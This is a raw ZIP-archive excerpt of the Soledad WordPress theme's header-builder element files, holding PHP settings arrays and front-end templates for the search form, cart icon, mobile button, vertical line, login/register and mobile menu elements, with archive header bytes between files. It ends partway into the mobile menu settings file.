	'id'        => 'penci_header_search_input_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Search Form Input Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_button_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Search Form Submit Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_button_bg_hcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Search Form Submit Background Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_button_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Search Form Submit Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_button_hcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Search Form Submit Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_o_bgcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Overlay Search Form Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_o_bdcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Overlay Search Input Border Bottom Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_o_closecolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Overlay Close Button Color', 'soledad' ),
);

$options[] = array(
	'id'        => 'penci_header_search_icon_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Search Icon Size','soledad'),
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_search_icon_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_search_input_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Search Form Input Text Size','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_search_input_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_search_btn_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Search Icon Size','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_search_btn_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_search_btnspacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Button Spacing', 'soledad' ),
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_search_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_search_css_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     /w\aH*  *  +  builder/elements/pb_cart_icon/front-end.phpnu [        <?php 
$header_data = $args['header_data'];
?>
<div class="pb-header-builder cart-icon pc-button-define-<?php echo penci_builder_validate_mod( $header_data, 'penci_header_pb_cart_icon_section_btn_style','customize' ); ?>">
	<?php
	get_template_part( 'template-parts/header/cart-icon' );
	?>
</div>
PK     /w\Mti  i  *  builder/elements/pb_cart_icon/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_pb_cart_icon_section_btn_style',
	'default'   => 'customize',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Cart Icon Button Pre-define Style', 'soledad' ),
	'choices'   => [
		'customize' => __('Default','soledad' ),
		'style-4'   => __('Filled','soledad' ),
		'style-1'   => __('Bordered','soledad' ),
		'style-2'   => __('Link','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_cart_icon_section_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Cart Icon Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_cart_icon_section_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Cart Icon Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_cart_icon_section_btnbstyle',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Button Borders Style', 'soledad' ),
	'choices'   => [
		''       => __('Default','soledad' ),
		'none'   => __('None','soledad' ),
		'dotted' => __('Dotted','soledad' ),
		'dashed' => __('Dashed','soledad' ),
		'solid'  => __('Solid','soledad' ),
		'double' => __('Double','soledad' ),
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_cart_icon_section_bcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Cart Icon Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_cart_icon_section_bhcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Cart Icon Hover Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_cart_icon_section_bgcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Cart Icon Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_cart_icon_section_bghcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Cart Icon Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_cart_icon_section_item_count_txt',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Number Count Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_cart_icon_section_item_count_bg',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Number Count Text Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_cart_icon_section_btnspacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Button Spacing', 'soledad' ),
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_cart_icon_section_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Icon Size','soledad'),
	'type'      => 'soledad-fw-size',
	'ids'       => array(
		'desktop' => 'penci_header_pb_cart_icon_section_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_cart_icon_section_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Item Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);

return $options;
PK     /w\Kʠ    1  builder/elements/pb_button_mobile_2/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$btn_link        = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_2_link_setting' );
$btn_link_rel    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_2_link_rel', 'noreferrer' );
$btn_link_target = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_2_link_target', '_blank' );
$btn_title       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_2_text_setting' );
$btn_style       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_2_style', 'style-4' );
$btn_shape       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_2_shape', 'retangle' );

$classes   = [];
$classes[] = 'penci-builder penci-builder-button penci-builder-button button-mobile-2';
$classes[] = 'button-define-' . $btn_style;
$classes[] = 'button-shape-' . $btn_shape;
$classes[] = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_2_txt_css_class', 'default' );
$btn_title = ! empty( $btn_title ) ? $btn_title : 'Button Text';

if ( ($btn_link && $btn_title) || is_customize_preview() ):?>
    <a target="<?php echo esc_attr( $btn_link_target ); ?>" rel="<?php echo esc_attr( $btn_link_rel ); ?>"
       href="<?php echo esc_url( $btn_link ); ?>" class="<?php echo implode( ' ', $classes ); ?> ">
		<?php echo $btn_title; ?>
    </a>
<?php 
endif; ?>
PK     /w\9)  )  0  builder/elements/pb_button_mobile_2/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_text_setting',
	'default'   => 'Button Text',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-text',
	'label'     => __( 'Button Text', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_button_mobile_2_text_setting' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_link_setting',
	'default'   => 'https://your-link.com',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-text',
	'label'     => __( 'Button Link', 'soledad' ),
	'priority'  => 10,
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_link_target',
	'default'   => '_blank',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-select',
	'label'     => __( 'Link Target', 'soledad' ),
	'choices'   => [
		'_blank'  => __('Blank','soledad' ),
		'_self'   => __('Self','soledad' ),
		'_parent' => __('Parent','soledad' ),
		'_top'    => __('Top','soledad' ),
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_link_rel',
	'default'   => 'noreferrer',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Select "rel" Attribute Type for Button Link','soledad' ),
	'type'      =>  'soledad-fw-select',
	'choices'   => array(
		'none'                         => __('None','soledad' ),
		'nofollow'                     => __('nofollow','soledad' ),
		'noreferrer'                   => __('noreferrer','soledad' ),
		'noopener'                     => __('noopener','soledad' ),
		'noreferrer_noopener'          => __('noreferrer noopener','soledad' ),
		'nofollow_noreferrer'          => __('nofollow noreferrer','soledad' ),
		'nofollow_noopener'            => __('nofollow noopener','soledad' ),
		'nofollow_noreferrer_noopener' => __('nofollow noreferrer noopener','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_style',
	'default'   => 'style-4',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-select',
	'label'     => __( 'Button Pre-define Style', 'soledad' ),
	'choices'   => [
		'customize' => __('Default','soledad' ),
		'style-4'   => __('Filled','soledad' ),
		'style-1'   => __('Bordered','soledad' ),
		'style-2'   => __('Link','soledad' ),
		'style-3'   => __('Creative','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_shape',
	'default'   => 'ratangle',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-select',
	'label'     => __( 'Button Shape', 'soledad' ),
	'choices'   => [
		'ratangle' => __('Retangle','soledad' ),
		'circle'   => __('Circle','soledad' ),
		'round'    => __('Round','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_spacing_setting',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      =>  'soledad-fw-box-model',
	
	'label'     => __( 'Button Spacing', 'soledad' ),
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
/* start font */
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_font',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font For Button Text','soledad' ),
	
	'type'      =>  'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_font_w',
	'default'   => 'bold',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight For Button Text','soledad'),
	
	'type'      =>  'soledad-fw-select',
	'choices'   => array(
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_font_s',
	'default'   => 'normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Style for Button Text','soledad' ),
	
	'type'      =>  'soledad-fw-select',
	'choices'   => array(
		'normal' => __('Normal','soledad' ),
		'italic' => __('Italic','soledad' ),
	)
);
/* end font*/
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_border_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	
	'label'     => __( 'Borders Color', 'soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_border_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	
	'label'     => __( 'Borders Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_bg_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	
	'label'     => __( 'Background Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_txt_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_txt_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	
	'label'     => __( 'Text Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_mobile_2_txt_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Button Font Size','soledad' ),
	'type'      => 'soledad-fw-size',
	'ids'  => array(
		'desktop' => 'penci_header_pb_button_mobile_2_txt_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'       => 'penci_header_pb_button_mobile_2_txt_css_class',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'type'     =>  'soledad-fw-text',
	'label'    => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     /w\eo    1  builder/elements/pb_vertical_line_4/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
// verical line
$line4_width = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line4_width' );
$line4_height = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line4_height' );
$line4_color = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line4_color' );
$line4_class = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line4_class' );
$data_attr   = [];
if ( ! empty( $line4_width ) ) {
	$data_attr[] = 'width:' . $line4_width . 'px;';
}
if ( ! empty( $line4_height ) ) {
	$data_attr[] = 'height:' . $line4_height . 'px;';
}
if ( ! empty( $line4_color ) ) {
	$data_attr[] = 'background-color:' . $line4_color . ';';
}
$data_attr = implode( ' ', $data_attr );
?>
<div style="<?php echo $data_attr; ?>"
     class="penci-builder-element penci-vertical-line vertical-line-4 <?php echo esc_attr( $line4_class ); ?>"></div>
PK     /w\(5  5  0  builder/elements/pb_vertical_line_4/settings.phpnu [        <?php 

$general_config = 'penci_builder_mods';
$options        = [];
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line4_width',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Vertical Line Width', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line4_height',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Vertical Line Height', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line4_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __( 'Vertical Line Color', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line4_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin' => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
	),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line4_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     /w\)qy	  y	  0  builder/elements/pb_login_register/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
echo '<div class="pc-header-element penci-topbar-social pc-login-register"><ul class="pctopbar-login-btn">';
if ( is_user_logged_in() ) {
	// Get the URLs
	$logged_in_array = array();
	if ( current_user_can( 'manage_options' ) ) {
		$logged_in_array['dashboard'] = array(
			'icon' => 'fas fa-cog',
			'link' => admin_url(),
			'text' => penci_get_setting( 'penci_trans_dashboard_text' ),
		);
	}

	$parent_slug = get_theme_mod( 'penci_frontend_submit_account_slug', 'account' );

	$logged_in_array['profile'] = array(
		'icon' => 'far fa-user-circle',
		'link' => esc_url( home_url( '/' ) . $parent_slug . '/' . get_theme_mod( 'penci_frontend_submit_edit_account_slug', 'edit-account' ) ),
		'text' => penci_get_setting( 'penci_trans_profile_text' ),
	);

	$logged_in_array = apply_filters( 'penci_logged_in_items', $logged_in_array );

	$logged_in_array['logout'] = array(
		'icon' => 'fa-sign-out',
		'link' => wp_logout_url( home_url() ),
		'text' => penci_get_setting( 'penci_trans_logout_text' ),
	);

	$current_user = wp_get_current_user();


	$link_login = get_author_posts_url(  get_current_user_id() );
	if ( class_exists( 'WooCommerce' ) ) {
		$myaccount_page = get_option( 'woocommerce_myaccount_page_id' );
		if ( $myaccount_page ) {
			$link_login = get_permalink( $myaccount_page );
		}

	}


	$avatar_html = get_avatar( get_current_user_id(), '22' );

	echo '<li class="pclogin-item"><a href="' . $link_login . '">' . $avatar_html . ' ' . $current_user->display_name . '</a><ul class="pclogin-sub">';
	foreach ( $logged_in_array as $lgkey => $lgval ) {
		$lgicon = penci_icon_by_ver( $lgval["icon"] );
		$lglink = $lgval["link"];
		$lgtext = $lgval["text"];
		echo '<li class="pclogin-item-child pclogin-child-' . $lgkey . '"><a href="' . $lglink . '">' . $lgicon . $lgtext . '</a></li>';
	}
	echo '</ul></li>';

} else {
	$custom_text = '';
	if ( penci_builder_validate_mod( $header_data, 'penci_header_pb_login_register_penci_tblogin_text' ) ) {
		$custom_text = '<span>' . penci_builder_validate_mod( $header_data, 'penci_header_pb_login_register_penci_tblogin_text' ) . '</span>';
	}

	echo '<li class="pclogin-item login login-popup penci-login-popup-btn"><a href="#penci-login-popup">' . penci_icon_by_ver( 'far fa-user-circle' ) . $custom_text . '</a></li>';
}

echo '</ul></div>';

add_filter( 'theme_mod_penci_tblogin', function () {
	return true;
} );
PK     /w\tk:    /  builder/elements/pb_login_register/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'              => 'penci_header_pb_login_register_penci_tblogin_text',
	'default'         => '',
	'transport'       => 'postMessage',
	'sanitize'        => 'sanitize_text_field',
	'label'           => __('Add Login Text','soledad' ),
	'description'     => __( 'Text beside the icon, leave it empty to disable', 'soledad' ),
	'type'            => 'soledad-fw-text',
	'partial_refresh' => [
		'penci_header_pb_login_register_penci_tblogin_text' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_penci_font_login_text',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Custom Font for Login Text','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_penci_fontw_login_text',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight for Login Text','soledad' ),

	'type'    => 'soledad-fw-select',
	'choices' => array(
		''        => __('','soledad' ),
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_text_uppercase',
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Uppercase Text ?','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'enable'  => __('Yes','soledad' ),
		'disable' => __('No','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_color',
	'default'   => '',
	'type'      => 'soledad-fw-color',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __( 'Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __( 'Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_dropdown_color',
	'default'   => '',
	'type'      => 'soledad-fw-color',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __( 'Dropdown Link Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_dropdown_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __( 'Dropdown Link Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __('Font Size for Icon','soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_login_register_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_txt_size',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __('Font Size for Text','soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_login_register_txt_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_login_register_css_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     /w\KV    -  builder/elements/pb_mobile_menu/front-end.phpnu [        <?php
$header_data = $args['header_data'];
?>
<div class="pc-button-define-<?php echo penci_builder_validate_mod( $header_data, 'penci_header_pb_mobile_menu_btn_style','customize' ); ?> pc-builder-element navigation mobile-menu <?php echo penci_builder_validate_mod( $header_data, 'penci_header_pb_mobile_menu_class' ); ?>">
    <div class="button-menu-mobile header-builder"><?php penci_svg_menu_icon(); ?></div>
</div>
PK     /w\gp<  <  ,  builder/elements/pb_mobile_menu/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
